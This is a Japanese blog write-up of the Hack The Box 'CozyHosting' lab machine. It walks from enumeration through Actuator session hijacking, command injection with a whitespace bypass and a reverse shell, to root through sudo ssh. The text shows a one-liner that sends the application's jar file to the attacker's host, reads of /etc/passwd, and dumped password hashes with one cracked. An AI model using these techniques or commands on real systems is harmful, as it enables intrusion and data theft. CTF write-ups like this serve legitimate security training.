2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】CozyHosting【WriteUp】

Last updated at Posted at 2024-03-02

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「CozyHosting」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.117.141 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.117.141:22
Open 10.129.117.141:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 07:41 EDT
Initiating Ping Scan at 07:41
Scanning 10.129.117.141 [4 ports]
Completed Ping Scan at 07:41, 0.33s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:41
Completed Parallel DNS resolution of 1 host. at 07:41, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:41
Scanning 10.129.117.141 [2 ports]
Discovered open port 22/tcp on 10.129.117.141
Discovered open port 80/tcp on 10.129.117.141
Completed SYN Stealth Scan at 07:41, 0.29s elapsed (2 total ports)
Nmap scan report for 10.129.117.141
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2023-09-03 07:41:04 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「cozyhosting.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

Collection

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.129.117.141    cozyhosting.htb

疎通確認を行う。

┌──(root㉿kali)-[~/work]
└─# ping cozyhosting.htb
PING cozyhosting.htb (10.129.117.141) 56(84) bytes of data.
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=1 ttl=63 time=262 ms
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=2 ttl=63 time=262 ms
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=3 ttl=63 time=258 ms
^C
--- cozyhosting.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 258.100/260.941/262.404/2.009 ms

実際にHTTPでアクセスすると以下のページが表示される。
1.png

サイト探索

httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://cozyhosting.htb/ -H "HOST: FUZZ.cozyhosting.htb" -mc all -fs 178 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.cozyhosting.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 178
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 410 req/sec :: Duration: [0:03:03] :: Errors: 0 ::

何もなさそう。

ディレクトリ探索

dirsearchを使用して探索を実施。

┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://cozyhosting.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/cozyhosting.htb/-_23-09-03_07-47-00.txt

Error Log: /root/.dirsearch/logs/errors-23-09-03_07-47-00.log

Target: http://cozyhosting.htb/

[07:47:01] Starting: 
[07:47:21] 200 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[07:47:27] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[07:47:29] 400 -  435B  - /a%5c.aspx                                        
[07:47:30] 200 -  634B  - /actuator                                         
[07:47:30] 200 -    5KB - /actuator/env                                     
[07:47:31] 200 -   15B  - /actuator/health                                  
[07:47:31] 200 -   10KB - /actuator/mappings                                
[07:47:31] 200 -   48B  - /actuator/sessions                                
[07:47:31] 200 -  124KB - /actuator/beans                                   
[07:47:32] 401 -   97B  - /admin                                            
[07:48:04] 200 -    0B  - /engine/classes/swfupload//swfupload.swf          
[07:48:04] 200 -    0B  - /engine/classes/swfupload//swfupload_f9.swf       
[07:48:04] 500 -   73B  - /error                                            
[07:48:04] 200 -    0B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[07:48:05] 200 -    0B  - /extjs/resources//charts.swf                      
[07:48:09] 200 -    0B  - /html/js/misc/swfupload//swfupload.swf            
[07:48:11] 200 -   12KB - /index                                            
[07:48:16] 200 -    0B  - /login.wdm%2e                                     
[07:48:16] 200 -    4KB - /login                                            
[07:48:17] 204 -    0B  - /logout                                           
[07:48:37] 400 -  435B  - /servlet/%C0%AE%C0%AE%C0%AF 

admin階層があるがloginページへ飛ばされてしまう。ログインが必要なようだ。また、actuatorが動いているのでこいつを列挙で利用できそうだ。

Initial Access

Actuator

mappingsのページを表示するとJsonでサイトマップを手に入れることができる。
2.png
またsessionsのページを見ると、現在ログインしているセッションの情報が確認できる。
3.png
kandersonのセッションが確認できるのでこいつをもらう。

Session Hijacking

先ほど確認できたkandersonのセッション情報を開発者ツールのキャッシュに挿入し、adminページを表示してみた。
5.png
kandersonのセッションをハイジャックできたようだ。
何やらConnectionするPOST機能があるようなのでここら辺をいじってみる。

executessh

適当にホストを「tender mirzakhani」、ユーザーを「kanderson」で飛ばしてみた。
6.png
ホスト名がダメと言われる。Burpで詳細を確認してみます。
7.png
Actuatorのmappings機能で確認できたexecutesshを使ってるみたいだ。
特段このmappingから見えることはないので、適当にこの機能を使ってみる。
image.png
ホスト名をこのBoxのホスト名にしてみた。そうすると鍵がないとか言われる。
そんなもの列挙では出てこなかったし、感覚的にも出てこないだろうとおもうので一旦保留。
更に色々なDataをPOSTしてみる。
8.png
勘でOS cmd Injectionを試してみた。sleepコマンドである。
Usernameに空白をいれるなと言われる。
9.png
んじゃコロンだけで飛ばしてみる。
10.png
あー、これ予想通り入力をそのままbashに投げてそうですね。しかもssh Username@hostのコマンドを打ってそうなのが見えてくる。
ちょっとこっちにnc -lnvp 22立てて待ち受けてみますか。
11.png
あ、ダメみたいだ。何も来ない。

OS cmd Injection

Exploit考察

POSTパラメータでOS cmd Injectionを行う方針なのは変わらないが、どのようにしてPayloadを叩きこむかを考える。hostはError内容からバリデーションされてそう。usernameはある程度差し込む余地がありそうだが、空白がだめといわれるので此奴をBypassさせないといけない。

Whitespace validation Bypass

良い記事があります。$IFSまたは$9を空白の代わりに入れるだけでBypassできます。
一応繋げて$IFS$9でどっちも入れておきます。
実際にOS cmd Injectionをやってみましょう。ping -c 3で試します。
まず、icmpパケットが到達したか確認するために以下のコマンドを打っておく。

┌──(root💀kali)-[~/work]
└─# tcpdump -i tun0 icmp

よし、Ping打ってみます。
12.png
とおりました!これでReverse Shellを張れますね!

Reverse Shell

リバースシェルを叩き込みます。いつもの以下のサイトを利用する。

13.png
このコマンドの空白を$IFS$9に変換するために以下のようにChefを利用します。

14.png
シェルを待ち受けルために以下のコマンドを打っておきます。

┌──(root💀kali)-[~/work]
└─# nc -lvnp 4444

では実行。
15.png
Reverse Shellをとれました。

interactive shell

とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
Pythonのptyを使ったあと、Ctrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。

┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.147] from (UNKNOWN) [10.129.117.141] 46014
id
uid=1001(app) gid=1001(app) groups=1001(app)
python3 -c 'import pty; pty.spawn("bash")'
app@cozyhosting:/app$ 

app@cozyhosting:/app$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg
[1]  + continued  nc -lnvp 4444
                               export TERM=xterm
app@cozyhosting:/app$ 
app@cozyhosting:/app$ 

Privilege Escalation - Horizontal

Transfer

取ったシェルではUserフラグをゲットできないので横展開が必要です。
どのUserにするかをcat /etc/passwdで確認しておきます。

app@cozyhosting:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

joshにならないといけなさそう。
まぁとりあえずこのアプリケーションの解析から始めます。入った直後の/app階層にはcloudhosting-0.0.1.jarファイルが置かれているだけだとおもうので、このファイルを転送します。
uploadserverを起動しておきます。

┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver    
File upload available at /upload

攻略対象サーバーで以下コマンドを投入します。

python3 -c "import requests;requests.post(\"http://10.10.14.147:8000/upload\",files={\"files\":open(\"/app/cloudhosting-0.0.1.jar\",\"rb\")})"

転送できたのを確認できればOK!!

┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver    
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.117.141 - - [04/Sep/2023 03:30:49] [Uploaded] "cloudhosting-0.0.1.jar" --> /root/work/cloudhosting-0.0.1.jar
10.129.117.141 - - [04/Sep/2023 03:30:49] "POST /upload HTTP/1.1" 204 -

postgresql

このjarファイルをjd-guiで確認します。
※jarファイルは圧縮ファイルなのでunzipして確認もできます。
jd-gui.png
postgresのパスワードが確認できるのでこのクレデンシャルを使ってDBへアクセスしていきます。

app@cozyhosting:/app$ psql -h localhost -U postgres
Password for user postgres: 
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# 

いけました。
では情報列挙していきます。

postgres=# \l
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)

postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt;

         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

cozyhosting=# \d users;

                        Table "public.users"
  Column  |          Type          | Collation | Nullable | Default 
----------+------------------------+-----------+----------+---------
 name     | character varying(50)  |           | not null | 
 password | character varying(100) |           | not null | 
 role     | role                   |           |          | 
Indexes:
    "users_pkey" PRIMARY KEY, btree (name)
Referenced by:
    TABLE "hosts" CONSTRAINT "hosts_username_fkey" FOREIGN KEY (username) REFERENCES users(name)

cozyhosting=# select * from users;


   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

user情報をゲットできました。kandersonの情報は恐らくセッションハイジャックで利用した情報だとおもうので、adminのほうを復元します。

john

先ほどのクレデンシャルをJohnさんに食わして解析させます。

┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     
1g 0:00:00:27 DONE (2023-09-04 03:54) 0.03696g/s 103.8p/s 103.8c/s 103.8C/s dougie..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

瞬殺でした。このクレデンシャル情報をjoshのPasswordとして再利用されてないか確認します。
sshを実施してみましょう!
16.png
されてましたね。これでユーザフラグゲットデス!

Privilege Escalation - Vertical

sudo -l

パスなしで実行できるものを確認します。

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$ 

あ、これは簡単な奴だ。

ssh

gtfobinでExploit法を検索します。

あとはこの手順を実施するだけ。
17.png
Root権限奪取!!!

まとめ

image.png
これで特権昇格に成功し、Root権限奪取に成功しました。
Userフラグまでが少し難解なEasyくらいかな(Easy詐欺まではいかない)ってのとRootが簡単すぎたなという印象のBoxでした。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?